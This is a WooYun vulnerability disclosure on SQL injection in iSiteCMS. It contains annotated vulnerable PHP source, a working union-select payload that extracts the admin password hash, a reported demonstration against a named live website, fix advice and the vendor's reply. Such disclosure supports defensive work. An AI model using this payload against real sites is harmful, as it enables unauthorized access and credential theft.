当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046702

漏洞标题:iSiteCMS发布安全补丁后仍然有几处注射漏洞(源码详析+实站演示)

相关厂商:kometo.com

漏洞作者: lxj616

提交时间:2013-12-23 16:45

修复时间:2014-03-23 16:45

公开时间:2014-03-23 16:45

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:16

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-23: 细节已通知厂商并且等待厂商处理中
2013-12-24: 厂商已经确认,细节仅向厂商公开
2013-12-27: 细节向第三方安全合作伙伴开放
2014-02-17: 细节向核心白帽子及相关领域专家公开
2014-02-27: 细节向普通白帽子公开
2014-03-09: 细节向实习白帽子公开
2014-03-23: 细节向公众公开

简要描述:

iSiteCMS 之前有过一个后台登陆时的注射,不过后来修复了,但是
还有几处注射分布在XX模块以及XXX模块里
本文对源代码进行了详细的分析
源码分析请见详细说明,实站演示请见漏洞证明

详细说明:

/isite/components/messages/messages.fe.php line:103

if($form->status == TFORM_STATUS_GETED_VALID){
//这个是站内短信的写信息表单 的 处理
$arr = $form->getValues();
//直接获取表单中信息
$tos = explode(',',trim($arr['to']));
//只是分割,不是过滤
$noExistsMenber = array();
$toMenbers = array();
foreach ($tos as $menber){
$i =
$this->DBE->getOne("select `id` from #__user where `name`='$menber'");
//一直到上面这一句都没有过滤,直接带入数据库查询了,之所以会这么写可能的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用(其他的int变量都通过了inval,而这个是string啊喵,我可以输入单引号啊喵)
if(is_null($i) or empty($i)){
$noExistsMenber[] = $menber;
//id只要有返回就可以继续
}else{
$m['name'] = $menber;
$m['id'] = $i;
$toMenbers[] = $m;
}
}
if(!empty($noExistsMenber)){
addGlobalNotice("以下用户不存在:".implode(',',$noExistsMenber));
}else{
$msg['tos'] = $arr['to'];
$msg['subject'] = $arr['subject'];
$msg['content'] = $arr['content'];
//进入信息发送的模块了,实际上之前就已经引发注射了,但是攻击时需要读sendMessage代码
$mMessage->sendMessage($toMenbers,$msg);
$this->flash('成功','发送成功',bu(1,'messages','inbox'));
}


这个就是代码里的表单显示

2.PNG


先来个同理可证:
/isite/components/links/links.be.php line:64

if($form->status == TFORM_STATUS_GETED_VALID){
$newCat = $form->getValues();
if($id==0){
//create category
//check name
$name = $newCat['name'];
$nameUsed = $this->DBE->getOne("select count(*) from #__link_category where `name`='$name'");
if($nameUsed){
$form->status = TFORM_STATUS_GETED;


看完以上代码是不是有一种似曾相识的感觉呢?
漏洞成因分析完毕
下面是对于攻击方式的分析,如果您只关心如何把漏洞补上,也可以直接跳过以下内容到漏洞修复那里
注射肯定是有了,但是这里有一点点别扭的地方,就是

$tos = explode(',',trim($arr['to']));


这句话把逗号给干掉了,给注射添加了小小难度,不过,这能难倒WOOYUN的帽子们吗?
继续分析代码:
/isite/components/messages/models/message.php 整个php

function sendMessage($to,$message,$type=null,$newCall=1){
//刚才检测完用户是否存在后,调用这个函数
if(isset($to['name']) or is_string($to)){
if(is_string($to)){
$to['name'] = $to;
}
if(!isset($to['id'])){
//还记得id吗,是之前被注射SQL的返回,理论上正常应该是目标用户的id
$to['id'] = $this->_db->getOne("select `id` from #__user where `name`='$to[name]'");
}
//又SELECT一遍,不过name还是注射时的name,这一句也被注射了
global $gUser;
$message['to'] = $to['name'];
$message['to_id'] = $to['id'];
$message['from'] = $gUser->name;
$message['from_id'] = $gUser->id;
$message['create_time'] = TIME_STAMP;
$message['type'] = $type;
$this->insert($message);
//看到下一句,终于长舒一口气,注射可以有回显了!to_id就是我们的语句执行结果,而它会报错给我们看的!
$this->_db->execute("update #__user set `new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]");
if($newCall>0){
$message['to'] = '';
$message['to_id'] = 0;
$this->insert($message);
$newCall--;
}
}else if(is_array($to)){
foreach ($to as $sto){
$this->sendMessage($sto,$message,null,$newCall);
}
}
}


注射+回显方法 :

test' and 1=2 union select password from flexi_user where id=1#


union select 后面加你想看的内容即可,不过记着不能用逗号哦

漏洞证明:

演示站点为
http://www.xfdt.com

1.PNG


注册一下,在会员中心-站内短信-发信息 里
那个link模块里的注射没找到表单在什么地方,先演示这个吧
这个就是代码里的表单显示

2.PNG


先执行个database()函数

3.PNG


爆管理员密码sha1

test' and 1=2 union select password from flexi_user where id=1#


4.PNG

修复方案:

修补方式分析:
目前的状态是:数字型+语句中单引号(可防注射);字符型+语句中单引号(仍能注射)
主要需要考虑字符型变量的过滤问题
可以addslashes,也可以用普通过滤
也可以用框架提供的安全特性

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-24 22:07

厂商回复:

messages模块应该是该实例网站自己扩展的模块,但经过我们检查,在部分集成模块的输入过滤上确实存在漏洞,严重影响了系统安全,同时考虑到该系统主要设计为封闭管理,会员功能不对外开放,所以综合评价危害等级为中。
我们将于近期进行安全更新。

最新状态:

暂无